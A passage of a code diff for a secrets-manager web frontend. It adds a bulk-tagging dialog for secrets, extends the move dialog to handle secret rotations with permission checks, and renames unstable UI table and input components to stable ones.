+                    onClick={() => handlePopUpOpen("bulkDeleteEntries")}
+                    size="xs"
+                  >
+                    <TrashIcon />
+                    Delete
+                  </Button>
+                </TooltipTrigger>
+                <TooltipContent>{deleteDisabledReason}</TooltipContent>
               </Tooltip>
-              <Button
-                variant="danger"
-                className="ml-2"
-                onClick={() => handlePopUpOpen("bulkDeleteEntries")}
-                size="xs"
-              >
-                <TrashIcon />
-                Delete
-              </Button>
             </>
           )}
         </div>
@@ -331,6 +383,17 @@ export const SelectionPanel = ({
         projectSlug={currentProject.slug}
         sourceSecretPath={secretPath}
         secrets={selectedEntries[EntryType.SECRET]}
+        rotations={selectedEntries[EntryType.SECRET_ROTATION]}
+        onComplete={resetSelectedEntries}
+      />
+      <BulkTagDialog
+        isOpen={popUp.bulkTagSecrets.isOpen}
+        onOpenChange={(isOpen) => handlePopUpToggle("bulkTagSecrets", isOpen)}
+        projectId={projectId}
+        secretPath={secretPath}
+        secrets={selectedEntries[EntryType.SECRET]}
+        environments={userAvailableEnvs}
+        visibleEnvs={visibleEnvs}
         onComplete={resetSelectedEntries}
       />
       <BulkDeleteDialog
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/components/BulkDeleteDialog/BulkDeleteDialog.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/components/BulkDeleteDialog/BulkDeleteDialog.tsx
index 544203e9f0b..5d683c11802 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/components/BulkDeleteDialog/BulkDeleteDialog.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/components/BulkDeleteDialog/BulkDeleteDialog.tsx
@@ -14,13 +14,13 @@ import {
   Field,
   FieldContent,
   FieldLabel,
-  UnstableInput,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Input,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { ProjectSecretsImportedBy, UsedBySecretSyncs } from "@app/hooks/api/dashboard/types";
 import { ProjectEnv } from "@app/hooks/api/projects/types";
@@ -112,63 +112,60 @@ const BulkDeleteDialogContent = ({
       </DialogHeader>
 
       {selectedResources.length > 0 && (
-        <UnstableTable
+        <Table
           containerClassName={twMerge(
             "overflow-auto",
             hasAffectedResources ? "max-h-[30vh]" : "max-h-[60vh]"
           )}
         >
-          <UnstableTableHeader className="sticky -top-px z-20 bg-container [&_tr]:border-b-0">
-            <UnstableTableRow>
-              <UnstableTableHead className="sticky left-0 z-20 w-10 max-w-10 min-w-10 border-b-0 bg-container shadow-[inset_0_-1px_0_var(--color-border)]">
+          <TableHeader className="sticky -top-px z-20 bg-container [&_tr]:border-b-0">
+            <TableRow>
+              <TableHead className="sticky left-0 z-20 w-10 max-w-10 min-w-10 border-b-0 bg-container shadow-[inset_0_-1px_0_var(--color-border)]">
                 Type
-              </UnstableTableHead>
-              <UnstableTableHead className="sticky left-10 z-20 max-w-[30vw] min-w-[30vw] border-b-0 bg-container shadow-[inset_-1px_0_0_var(--color-border),inset_0_-1px_0_var(--color-border)]">
+              </TableHead>
+              <TableHead className="sticky left-10 z-20 max-w-[30vw] min-w-[30vw] border-b-0 bg-container shadow-[inset_-1px_0_0_var(--color-border),inset_0_-1px_0_var(--color-border)]">
                 Name
-              </UnstableTableHead>
+              </TableHead>
               {visibleEnvs.map((env) => (
-                <UnstableTableHead
+                <TableHead
                   key={env.slug}
                   className="w-32 max-w-32 border-r border-b-0 text-center shadow-[inset_0_-1px_0_var(--color-border)] last:border-r-0"
                   isTruncatable
                 >
                   {env.name}
-                </UnstableTableHead>
+                </TableHead>
               ))}
-            </UnstableTableRow>
-          </UnstableTableHeader>
-          <UnstableTableBody>
+            </TableRow>
+          </TableHeader>
+          <TableBody>
             {selectedResources.map((item) => (
-              <UnstableTableRow key={`${item.type}-${item.name}`} className="group">
-                <UnstableTableCell className="sticky left-0 z-10 bg-container transition-colors duration-75 group-hover:bg-container-hover">
+              <TableRow key={`${item.type}-${item.name}`} className="group">
+                <TableCell className="sticky left-0 z-10 bg-container transition-colors duration-75 group-hover:bg-container-hover">
                   {item.type === "folder" ? (
                     <FolderIcon className="size-4 text-folder" />
                   ) : (
                     <KeyIcon className="size-4 text-secret" />
                   )}
-                </UnstableTableCell>
-                <UnstableTableCell
+                </TableCell>
+                <TableCell
                   className="sticky left-10 z-10 max-w-80 bg-container shadow-[inset_-1px_0_0_var(--color-border)] transition-colors duration-75 group-hover:bg-container-hover"
                   isTruncatable
                 >
                   {item.name}
-                </UnstableTableCell>
+                </TableCell>
                 {visibleEnvs.map((env) => (
-                  <UnstableTableCell
-                    key={env.slug}
-                    className="border-r text-center last:border-r-0"
-                  >
+                  <TableCell key={env.slug} className="border-r text-center last:border-r-0">
                     {item.envSlugs.has(env.slug) ? (
                       <TrashIcon className="inline-block size-4 text-danger" />
                     ) : (
                       <span className="text-muted">&mdash;</span>
                     )}
-                  </UnstableTableCell>
+                  </TableCell>
                 ))}
-              </UnstableTableRow>
+              </TableRow>
             ))}
-          </UnstableTableBody>
-        </UnstableTable>
+          </TableBody>
+        </Table>
       )}
 
       {hasAffectedResources && (
@@ -190,7 +187,7 @@ const BulkDeleteDialogContent = ({
             Type <span className="font-bold">delete</span> to perform this action
           </FieldLabel>
           <FieldContent>
-            <UnstableInput
+            <Input
               value={confirmText}
               onChange={(e) => setConfirmText(e.target.value)}
               placeholder="Type delete here"
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/components/BulkTagDialog/BulkTagDialog.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/components/BulkTagDialog/BulkTagDialog.tsx
new file mode 100644
index 00000000000..5762273ef5b
--- /dev/null
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/components/BulkTagDialog/BulkTagDialog.tsx
@@ -0,0 +1,400 @@
+import { useMemo, useState } from "react";
+import { Controller, useForm } from "react-hook-form";
+import { subject } from "@casl/ability";
+import { zodResolver } from "@hookform/resolvers/zod";
+import { KeyIcon, TagsIcon } from "lucide-react";
+import { z } from "zod";
+
+import { createNotification } from "@app/components/notifications";
+import {
+  Button,
+  CreatableSelect,
+  Dialog,
+  DialogClose,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+  Field,
+  FieldContent,
+  FieldDescription,
+  FieldLabel,
+  Switch,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
+} from "@app/components/v3";
+import { ProjectPermissionActions, ProjectPermissionSub, useProjectPermission } from "@app/context";
+import { ProjectPermissionSecretActions } from "@app/context/ProjectPermissionContext/types";
+import { useCreateWsTag, useGetWsTags, useUpdateSecretBatch } from "@app/hooks/api";
+import { ProjectEnv } from "@app/hooks/api/projects/types";
+import { SecretType, SecretV3RawSanitized } from "@app/hooks/api/secrets/types";
+import { slugSchema } from "@app/lib/schemas";
+
+const formSchema = z.object({
+  tags: z
+    .array(z.object({ label: z.string(), value: z.string() }))
+    .min(1, "Select at least one tag"),
+  isReplaceMode: z.boolean().default(false)
+});
+
+type TFormSchema = z.infer<typeof formSchema>;
+
+type Props = {
+  isOpen: boolean;
+  onOpenChange: (isOpen: boolean) => void;
+  projectId: string;
+  secretPath: string;
+  secrets: Record<string, Record<string, SecretV3RawSanitized>>;
+  environments: ProjectEnv[];
+  visibleEnvs: ProjectEnv[];
+  onComplete: () => void;
+};
+
+type ContentProps = Omit<Props, "isOpen" | "onOpenChange"> & {
+  onClose: () => void;
+};
+
+const BulkTagDialogContent = ({
+  projectId,
+  secretPath,
+  secrets,
+  environments,
+  visibleEnvs,
+  onComplete,
+  onClose
+}: ContentProps) => {
+  const { permission } = useProjectPermission();
+  const { mutateAsync: updateSecretBatch } = useUpdateSecretBatch();
+  const { mutateAsync: createWsTag } = useCreateWsTag();
+
+  const canReadTags = permission.can(ProjectPermissionActions.Read, ProjectPermissionSub.Tags);
+  const canAddTags = permission.can(ProjectPermissionActions.Create, ProjectPermissionSub.Tags);
+
+  const { data: projectTags, isPending: isTagsLoading } = useGetWsTags(
+    canReadTags ? projectId : ""
+  );
+
+  const [isSubmitting, setIsSubmitting] = useState(false);
+
+  const {
+    handleSubmit,
+    control,
+    setValue,
+    getValues,
+    watch,
+    formState: { isValid }
+  } = useForm<TFormSchema>({
+    defaultValues: {
+      tags: [],
+      isReplaceMode: false
+    },
+    resolver: zodResolver(formSchema)
+  });
+
+  const isReplaceMode = watch("isReplaceMode");
+
+  const selectedResources = useMemo(
+    () =>
+      Object.entries(secrets).map(([name, envRecord]) => ({
+        name,
+        envSlugs: new Set(Object.keys(envRecord))
+      })),
+    [secrets]
+  );
+
+  const tagOptions = useMemo(
+    () => projectTags?.map((tag) => ({ label: tag.slug, value: tag.id })),
+    [projectTags]
+  );
+
+  const handleCreateTag = async (inputValue: string) => {
+    const parsedSlug = slugSchema().safeParse(inputValue);
+    if (!parsedSlug.success) return;
+
+    const newTag = await createWsTag({
+      projectId,
+      tagSlug: parsedSlug.data,
+      tagColor: ""
+    });
+    const currentTags = getValues("tags");
+    setValue("tags", [...currentTags, { label: newTag.slug, value: newTag.id }], {
+      shouldDirty: true,
+      shouldValidate: true
+    });
+  };
+
+  const onSubmit = async (data: TFormSchema) => {
+    setIsSubmitting(true);
+
+    try {
+      const selectedTagIds = data.tags.map((t) => t.value);
+
+      // Group secrets by environment
+      const secretsByEnv = Object.values(secrets).reduce<Record<string, SecretV3RawSanitized[]>>(
+        (acc, secretRecord) => {
+          Object.entries(secretRecord).forEach(([envSlug, secret]) => {
+            const canEditSecret = permission.can(
+              ProjectPermissionSecretActions.Edit,
+              subject(ProjectPermissionSub.Secrets, {
+                environment: envSlug,
+                secretPath,
+                secretName: secret.key,
+                secretTags: (secret.tags || []).map((t) => t.slug)
+              })
+            );
+            if (!canEditSecret) return;
+
+            if (!acc[envSlug]) acc[envSlug] = [];
+            acc[envSlug].push(secret);
+          });
+          return acc;
+        },
+        {}
+      );
+
+      const envSlugs = Object.keys(secretsByEnv);
+
+      if (envSlugs.length === 0) {
+        createNotification({
+          type: "info",
+          text: "You don't have access to tag the selected secrets"
+        });
+        return;
+      }
+
+      let hasApprovalRequest = false;
+      let hasDirectUpdate = false;
+
+      const results = await Promise.allSettled(
+        envSlugs.map(async (envSlug) => {
+          const envSecrets = secretsByEnv[envSlug];
+
+          const secretUpdates = envSecrets.map((secret) => {
+            let tagIds: string[];
+            if (data.isReplaceMode) {
+              tagIds = selectedTagIds;
+            } else {
+              const existingTagIds = (secret.tags || []).map((t) => t.id);
+              tagIds = [...new Set([...existingTagIds, ...selectedTagIds])];
+            }
+
+            return {
+              secretKey: secret.key,
+              type: SecretType.Shared,
+              tagIds
+            };
+          });
+
+          const result = await updateSecretBatch({
+            projectId,
+            environment: envSlug,
+            secretPath,
+            secrets: secretUpdates
+          });
+
+          if (result && "approval" in result) {
+            hasApprovalRequest = true;
+          } else {
+            hasDirectUpdate = true;
+          }
+
+          return { environment: envSlug };
+        })
+      );
+
+      const allSucceeded = results.every((r) => r.status === "fulfilled");
+      const someSucceeded = results.some((r) => r.status === "fulfilled");
+
+      const failedEnvs = environments
+        .filter(
+          (env) =>
+            !results.some((r) => r.status === "fulfilled" && r.value.environment === env.slug)
+        )
+        .filter((env) => secretsByEnv[env.slug])
+        .map((env) => env.name);
+
+      if (allSucceeded) {
+        onClose();
+        onComplete();
+        if (hasDirectUpdate && hasApprovalRequest) {
+          createNotification({
+            type: "info",
+            text: "Tags updated and an approval request was generated for protected environments"
+          });
+        } else if (hasApprovalRequest) {
+          createNotification({
+            type: "info",
+            text: "An approval request has been generated for the tag changes"
+          });
+        } else {
+          createNotification({
+            type: "success",
+            text: "Successfully updated tags on selected secrets"
+          });
+        }
+      } else if (someSucceeded) {
+        createNotification({
+          type: "warning",
+          text: `Tag update partially completed. The following environments could not be processed: ${failedEnvs.join(", ")}.`
+        });
+      } else {
+        createNotification({
+          type: "error",
+          text: "Failed to update tags on selected secrets"
+        });
+      }
+    } finally {
+      setIsSubmitting(false);
+    }
+  };
+
+  const selectedSecretCount = Object.keys(secrets).length;
+
+  return (
+    // eslint-disable-next-line jsx-a11y/no-noninteractive-element-interactions
+    <form
+      onSubmit={handleSubmit(onSubmit)}
+      onKeyDown={(e) => {
+        if (e.key === "Enter") e.preventDefault();
+      }}
+    >
+      <DialogHeader>
+        <DialogTitle>Bulk Tag Secrets</DialogTitle>
+        <DialogDescription>
+          Apply tags to {selectedSecretCount} selected secret{selectedSecretCount !== 1 ? "s" : ""}{" "}
+          across all environments.
+        </DialogDescription>
+      </DialogHeader>
+      {selectedResources.length > 0 && (
+        <Table containerClassName="max-h-[40vh] mt-4 overflow-auto">
+          <TableHeader className="sticky -top-px z-20 bg-container [&_tr]:border-b-0">
+            <TableRow>
+              <TableHead className="sticky left-0 z-20 w-10 max-w-10 min-w-10 border-b-0 bg-container shadow-[inset_0_-1px_0_var(--color-border)]">
+                Type
+              </TableHead>
+              <TableHead className="sticky left-10 z-20 max-w-[30vw] min-w-[30vw] border-b-0 bg-container shadow-[inset_-1px_0_0_var(--color-border),inset_0_-1px_0_var(--color-border)]">
+                Name
+              </TableHead>
+              {visibleEnvs.map((env) => (
+                <TableHead
+                  key={env.slug}
+                  className="w-32 max-w-32 border-r border-b-0 text-center shadow-[inset_0_-1px_0_var(--color-border)] last:border-r-0"
+                  isTruncatable
+                >
+                  {env.name}
+                </TableHead>
+              ))}
+            </TableRow>
+          </TableHeader>
+          <TableBody>
+            {selectedResources.map((item) => (
+              <TableRow key={item.name} className="group">
+                <TableCell className="sticky left-0 z-10 bg-container transition-colors duration-75 group-hover:bg-container-hover">
+                  <KeyIcon className="size-4 text-secret" />
+                </TableCell>
+                <TableCell
+                  className="sticky left-10 z-10 max-w-80 bg-container shadow-[inset_-1px_0_0_var(--color-border)] transition-colors duration-75 group-hover:bg-container-hover"
+                  isTruncatable
+                >
+                  {item.name}
+                </TableCell>
+                {visibleEnvs.map((env) => (
+                  <TableCell key={env.slug} className="border-r text-center last:border-r-0">
+                    {item.envSlugs.has(env.slug) ? (
+                      <TagsIcon className="inline-block size-4 text-project" />
+                    ) : (
+                      <span className="text-muted">&mdash;</span>
+                    )}
+                  </TableCell>
+                ))}
+              </TableRow>
+            ))}
+          </TableBody>
+        </Table>
+      )}
+
+      <div className="flex flex-col gap-4 py-4">
+        <Field>
+          <FieldLabel>Tags</FieldLabel>
+          <FieldContent>
+            <Controller
+              name="tags"
+              control={control}
+              render={({ field }) => (
+                <CreatableSelect
+                  isMulti
+                  noOptionsMessage={({ inputValue }) =>
+                    inputValue && !slugSchema().safeParse(inputValue).success
+                      ? "Tag must be slug-friendly"
+                      : "No tags match search"
+                  }
+                  isLoading={isTagsLoading}
+                  placeholder="Select or create tags..."
+                  options={tagOptions}
+                  value={field.value}
+                  onChange={(newValue) => field.onChange(newValue)}
+                  onCreateOption={handleCreateTag}
+                  isValidNewOption={(inputValue) =>
+                    !canAddTags
+                      ? false
+                      : slugSchema().safeParse(inputValue).success &&
+                        !projectTags?.map((tag) => tag.slug).includes(inputValue)
+                  }
+                />
+              )}
+            />
+          </FieldContent>
+        </Field>
+        <Field>
+          <div className="flex items-center gap-3">
+            <Controller
+              name="isReplaceMode"
+              control={control}
+              render={({ field }) => (
+                <Switch
+                  variant="project"
+                  id="replace-tags-toggle"
+                  checked={field.value}
+                  onCheckedChange={field.onChange}
+                />
+              )}
+            />
+            <FieldLabel htmlFor="replace-tags-toggle" className="mb-0 cursor-pointer">
+              Replace existing tags
+            </FieldLabel>
+          </div>
+          <FieldDescription>
+            {isReplaceMode
+              ? "All existing tags on selected secrets will be removed and replaced with the tags selected above."
+              : "Selected tags will be added to each secret, keeping any existing tags."}
+          </FieldDescription>
+        </Field>
+      </div>
+      <DialogFooter>
+        <DialogClose asChild>
+          <Button variant="outline">Cancel</Button>
+        </DialogClose>
+        <Button type="submit" variant="project" isPending={isSubmitting} isDisabled={!isValid}>
+          Apply Tags
+        </Button>
+      </DialogFooter>
+    </form>
+  );
+};
+
+export const BulkTagDialog = ({ isOpen, onOpenChange, ...contentProps }: Props) => {
+  return (
+    <Dialog open={isOpen} onOpenChange={onOpenChange}>
+      {isOpen && (
+        <DialogContent className="max-w-7xl">
+          <BulkTagDialogContent {...contentProps} onClose={() => onOpenChange(false)} />
+        </DialogContent>
+      )}
+    </Dialog>
+  );
+};
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/components/BulkTagDialog/index.ts b/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/components/BulkTagDialog/index.ts
new file mode 100644
index 00000000000..638fe9d824f
--- /dev/null
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/components/BulkTagDialog/index.ts
@@ -0,0 +1 @@
+export * from "./BulkTagDialog";
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/components/MoveSecretsDialog/MoveSecretsDialog.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/components/MoveSecretsDialog/MoveSecretsDialog.tsx
index 2ccc65a4f2c..fd99aef520b 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/components/MoveSecretsDialog/MoveSecretsDialog.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/components/MoveSecretsDialog/MoveSecretsDialog.tsx
@@ -2,8 +2,6 @@ import { useEffect, useMemo, useState } from "react";
 import { Controller, useForm } from "react-hook-form";
 import { SingleValue } from "react-select";
 import { subject } from "@casl/ability";
-import { faBan, faEyeSlash, faWarning } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import axios from "axios";
 import { CheckCircleIcon, CircleAlertIcon, InfoIcon, LoaderCircleIcon } from "lucide-react";
@@ -12,6 +10,9 @@ import { z } from "zod";
 
 import { createNotification } from "@app/components/notifications";
 import {
+  Alert,
+  AlertDescription,
+  AlertTitle,
   Button,
   Checkbox,
   Dialog,
@@ -29,17 +30,19 @@ import {
   SelectContent,
   SelectItem,
   SelectTrigger,
-  SelectValue,
-  UnstableAlert,
-  UnstableAlertDescription
+  SelectValue
 } from "@app/components/v3";
 import { FilterableSelect } from "@app/components/v3/generic/ReactSelect";
 import { ProjectPermissionSub, useProjectPermission } from "@app/context";
-import { ProjectPermissionSecretActions } from "@app/context/ProjectPermissionContext/types";
+import {
+  ProjectPermissionSecretActions,
+  ProjectPermissionSecretRotationActions
+} from "@app/context/ProjectPermissionContext/types";
 import { useDebounce } from "@app/hooks";
 import { useMoveSecrets } from "@app/hooks/api";
 import { useGetProjectSecretsQuickSearch } from "@app/hooks/api/dashboard";
 import { ProjectEnv } from "@app/hooks/api/projects/types";
+import { TSecretRotationV2, useMoveSecretRotation } from "@app/hooks/api/secretRotationsV2";
 import { SecretV3RawSanitized } from "@app/hooks/api/secrets/types";
 
 type Props = {
@@ -51,6 +54,7 @@ type Props = {
   projectSlug: string;
   sourceSecretPath: string;
   secrets: Record<string, Record<string, SecretV3RawSanitized>>;
+  rotations: Record<string, Record<string, TSecretRotationV2>>;
   onComplete: () => void;
 };
 
@@ -187,6 +191,7 @@ const SingleEnvContent = ({
   onComplete,
   onClose,
   secrets,
+  rotations,
   environments,
   visibleEnvs,
   projectId,
@@ -195,6 +200,7 @@ const SingleEnvContent = ({
 }: ContentProps) => {
   const sourceEnv = visibleEnvs[0];
   const moveSecrets = useMoveSecrets();
+  const moveSecretRotation = useMoveSecretRotation();
   const [selectedPath, setSelectedPath] = useState<OptionValue | null>({
     secretPath: "/"
   });
@@ -237,44 +243,92 @@ const SingleEnvContent = ({
         (secret): secret is SecretV3RawSanitized => Boolean(secret) && !secret.isRotatedSecret
       );
 
-    if (!secretsToMove.length) {
+    const rotationsToMove = Object.values(rotations)
+      .map((rotationRecord) => rotationRecord[sourceEnv.slug])
+      .filter((rotation): rotation is TSecretRotationV2 => Boolean(rotation));
+
+    if (!secretsToMove.length && !rotationsToMove.length) {
       createNotification({
         type: "info",
-        text: "No secrets to move in this environment"
+        text: "No secrets or rotations to move in this environment"
       });
       return;
     }
 
-    const { isDestinationUpdated, isSourceUpdated } = await moveSecrets.mutateAsync({
-      shouldOverwrite: data.shouldOverwrite,
-      sourceEnvironment: sourceEnv.slug,
-      sourceSecretPath,
-      destinationEnvironment: data.environment,
-      destinationSecretPath: selectedPath.secretPath,
-      projectId,
-      projectSlug,
-      secretIds: secretsToMove.map((sec) => sec.id)
-    });
+    let isDestinationUpdated = true;
+    let isSourceUpdated = true;
+
+    if (secretsToMove.length) {
+      const result = await moveSecrets.mutateAsync({
+        shouldOverwrite: data.shouldOverwrite,
+        sourceEnvironment: sourceEnv.slug,
+        sourceSecretPath,
+        destinationEnvironment: data.environment,
+        destinationSecretPath: selectedPath.secretPath,
+        projectId,
+        projectSlug,
+        secretIds: secretsToMove.map((sec) => sec.id)
+      });
+      isDestinationUpdated = result.isDestinationUpdated;
+      isSourceUpdated = result.isSourceUpdated;
+    }
+
+    const rotationFailures: { name: string; message: string }[] = [];
+    let rotationSuccessCount = 0;
+
+    // eslint-disable-next-line no-restricted-syntax
+    for await (const rotation of rotationsToMove) {
+      try {
+        await moveSecretRotation.mutateAsync({
+          type: rotation.type,
+          rotationId: rotation.id,
+          destinationEnvironment: data.environment,
+          destinationSecretPath: selectedPath.secretPath,
+          overwriteDestination: data.shouldOverwrite,
+          projectId,
+          secretPath: sourceSecretPath
+        });
+        rotationSuccessCount += 1;
+      } catch (error) {
+        let message = (error as Error)?.message ?? "Failed to move rotation";
+        if (axios.isAxiosError(error)) {
+          const responseMessage = (error?.response?.data as { message?: string })?.message;
+          if (responseMessage) message = responseMessage;
+        }
+        rotationFailures.push({ name: rotation.name, message });
+      }
+    }
+
+    if (secretsToMove.length) {
+      if (isDestinationUpdated && isSourceUpdated) {
+        createNotification({
+          type: "success",
+          text: "Successfully moved selected secrets"
+        });
+      } else if (isDestinationUpdated) {
+        createNotification({
+          type: "info",
+          text: "Successfully created secrets in destination. A secret approval request has been generated for the source."
+        });
+      } else if (isSourceUpdated) {
+        createNotification({
+          type: "info",
+          text: "A secret approval request has been generated in the destination"
+        });
+      } else {
+        createNotification({
+          type: "info",
+          text: "A secret approval request has been generated in both the source and the destination."
+        });
+      }
+    }
 
-    if (isDestinationUpdated && isSourceUpdated) {
+    if (rotationSuccessCount > 0) {
       createNotification({
         type: "success",
-        text: "Successfully moved selected secrets"
-      });
-    } else if (isDestinationUpdated) {
-      createNotification({
-        type: "info",
-        text: "Successfully created secrets in destination. A secret approval request has been generated for the source."
-      });
-    } else if (isSourceUpdated) {
-      createNotification({
-        type: "info",
-        text: "A secret approval request has been generated in the destination"
-      });
-    } else {
-      createNotification({
-        type: "info",
-        text: "A secret approval request has been generated in both the source and the destination."
+        text: `Successfully moved ${rotationSuccessCount} secret rotation${
+          rotationSuccessCount === 1 ? "" : "s"
+        }`
       });
     }
 
@@ -380,12 +434,14 @@ const MultiEnvContent = ({
   onComplete,
   onClose,
   secrets,
+  rotations,
   environments,
   projectId,
   projectSlug,
   sourceSecretPath
 }: ContentProps) => {
   const moveSecrets = useMoveSecrets();
+  const moveSecretRotation = useMoveSecretRotation();
   const { permission } = useProjectPermission();
   const [moveResults, setMoveResults] = useState<MoveResults | null>(null);
   const [selectedPath, setSelectedPath] = useState<OptionValue | null>({
@@ -403,12 +459,12 @@ const MultiEnvContent = ({
     }
   });
 
-  const moveSecretsEligibility = useMemo(() => {
+  const moveEligibility = useMemo(() => {
     return Object.fromEntries(
       environments.map((env) => [
         env.slug,
         {
-          missingPermissions: permission.cannot(
+          cannotMoveSecrets: permission.cannot(
             ProjectPermissionSecretActions.Delete,
             subject(ProjectPermissionSub.Secrets, {
               environment: env.slug,
@@ -416,6 +472,13 @@ const MultiEnvContent = ({
               secretName: "*",
               secretTags: ["*"]
             })
+          ),
+          cannotMoveRotations: permission.cannot(
+            ProjectPermissionSecretRotationActions.Delete,
+            subject(ProjectPermissionSub.SecretRotation, {
+              environment: env.slug,
+              secretPath: sourceSecretPath
+            })
           )
         }
       ])
@@ -432,17 +495,27 @@ const MultiEnvContent = ({
       [];
 
     environments.forEach((env) => {
-      if (moveSecretsEligibility[env.slug].missingPermissions) {
+      const { cannotMoveSecrets, cannotMoveRotations } = moveEligibility[env.slug];
+
+      if (cannotMoveSecrets) {
         environmentWarnings.push({
-          id: env.id,
+          id: `${env.id}-secrets`,
           type: "permission",
-          message: `${env.name}: You do not have permission to remove secrets from this environment`
+          message: `${env.name}: You do not have permission to move secrets from this environment`
+        });
+      }
+
+      if (cannotMoveRotations) {
+        environmentWarnings.push({
+          id: `${env.id}-rotations`,
+          type: "permission",
+          message: `${env.name}: You do not have permission to move secret rotations from this environment`
         });
       }
     });
 
     return environmentWarnings;
-  }, [moveSecretsEligibility, destinationSelected, environments]);
+  }, [moveEligibility, destinationSelected, environments]);
 
   const handleFormSubmit = async (data: TMultiEnvFormSchema) => {
     if (!selectedPath) {
@@ -466,21 +539,34 @@ const MultiEnvContent = ({
       })
     );
 
+    const rotationsByEnv: Record<string, TSecretRotationV2[]> = Object.fromEntries(
+      environments.map((env) => [env.slug, []])
+    );
+
+    Object.values(rotations).forEach((rotationRecord) =>
+      Object.entries(rotationRecord).forEach(([env, rotation]) => {
+        rotationsByEnv[env].push(rotation);
+      })
+    );
+
     // eslint-disable-next-line no-restricted-syntax
     for await (const environment of environments) {
       const envSlug = environment.slug;
 
-      const secretsToMove = secretsByEnv[envSlug];
+      const { cannotMoveSecrets, cannotMoveRotations } = moveEligibility[envSlug];
 
-      if (moveSecretsEligibility[envSlug].missingPermissions) {
+      if (cannotMoveSecrets && cannotMoveRotations) {
         // eslint-disable-next-line no-continue
         continue;
       }
 
-      if (!secretsToMove.length) {
+      const secretsToMove = cannotMoveSecrets ? [] : secretsByEnv[envSlug];
+      const rotationsToMove = cannotMoveRotations ? [] : rotationsByEnv[envSlug];
+
+      if (!secretsToMove.length && !rotationsToMove.length) {
         results.push({
           name: environment.name,
-          message: "No secrets selected in environment",
+          message: "No secrets or rotations selected in environment",
           status: MoveResult.Info,
           id: environment.id
         });
@@ -488,53 +574,90 @@ const MultiEnvContent = ({
         continue;
       }
 
-      try {
-        const { isDestinationUpdated, isSourceUpdated } = await moveSecrets.mutateAsync({
-          shouldOverwrite: data.shouldOverwrite,
-          sourceEnvironment: environment.slug,
-          sourceSecretPath,
-          destinationEnvironment: environment.slug,
-          destinationSecretPath: selectedPath.secretPath,
-          projectId,
-          projectSlug,
-          secretIds: secretsToMove.map((sec) => sec.id)
-        });
+      if (secretsToMove.length) {
+        try {
+          const { isDestinationUpdated, isSourceUpdated } = await moveSecrets.mutateAsync({
+            shouldOverwrite: data.shouldOverwrite,
+            sourceEnvironment: environment.slug,
+            sourceSecretPath,
+            destinationEnvironment: environment.slug,
+            destinationSecretPath: selectedPath.secretPath,
+            projectId,
+            projectSlug,
+            secretIds: secretsToMove.map((sec) => sec.id)
+          });
+
+          let message = "";
+          let status: MoveResult = MoveResult.Info;
+
+          if (isDestinationUpdated && isSourceUpdated) {
+            message = "Successfully moved selected secrets";
+            status = MoveResult.Success;
+          } else if (isDestinationUpdated) {
+            message =
+              "Successfully created secrets in destination. A secret approval request has been generated for the source.";
+          } else if (isSourceUpdated) {
+            message = "A secret approval request has been generated in the destination";
+          } else {
+            message =
+              "A secret approval request has been generated in both the source and the destination.";
+          }
 
-        let message = "";
-        let status: MoveResult = MoveResult.Info;
-
-        if (isDestinationUpdated && isSourceUpdated) {
-          message = "Successfully moved selected secrets";
-          status = MoveResult.Success;
-        } else if (isDestinationUpdated) {
-          message =
-            "Successfully created secrets in destination. A secret approval request has been generated for the source.";
-        } else if (isSourceUpdated) {
-          message = "A secret approval request has been generated in the destination";
-        } else {
-          message =
-            "A secret approval request has been generated in both the source and the destination.";
-        }
+          results.push({
+            name: environment.name,
+            message,
+            status,
+            id: environment.id
+          });
+        } catch (error) {
+          let errorMessage = (error as Error)?.message ?? "Failed to move secrets";
+          if (axios.isAxiosError(error)) {
+            const { message } = error?.response?.data as { message: string };
+            if (message) errorMessage = message;
+          }
 
-        results.push({
-          name: environment.name,
-          message,
-          status,
-          id: environment.id
-        });
-      } catch (error) {
-        let errorMessage = (error as Error)?.message ?? "Failed to move secrets";
-        if (axios.isAxiosError(error)) {
-          const { message } = error?.response?.data as { message: string };
-          if (message) errorMessage = message;
+          results.push({
+            name: environment.name,
+            message: errorMessage,
+            status: MoveResult.Error,
+            id: environment.id
+          });
         }
+      }
 
-        results.push({
-          name: environment.name,
-          message: errorMessage,
-          status: MoveResult.Error,
-          id: environment.id
-        });
+      // eslint-disable-next-line no-restricted-syntax
+      for await (const rotation of rotationsToMove) {
+        try {
+          await moveSecretRotation.mutateAsync({
+            type: rotation.type,
+            rotationId: rotation.id,
+            destinationEnvironment: environment.slug,
+            destinationSecretPath: selectedPath.secretPath,
+            overwriteDestination: data.shouldOverwrite,
+            projectId,
+            secretPath: sourceSecretPath
+          });
+
+          results.push({
+            name: `${environment.name} / ${rotation.name}`,
+            message: "Successfully moved secret rotation",
+            status: MoveResult.Success,
+            id: `${environment.id}-${rotation.id}`
+          });
+        } catch (error) {
+          let errorMessage = (error as Error)?.message ?? "Failed to move secret rotation";
+          if (axios.isAxiosError(error)) {
+            const responseMessage = (error?.response?.data as { message?: string })?.message;
+            if (responseMessage) errorMessage = responseMessage;
+          }
+
+          results.push({
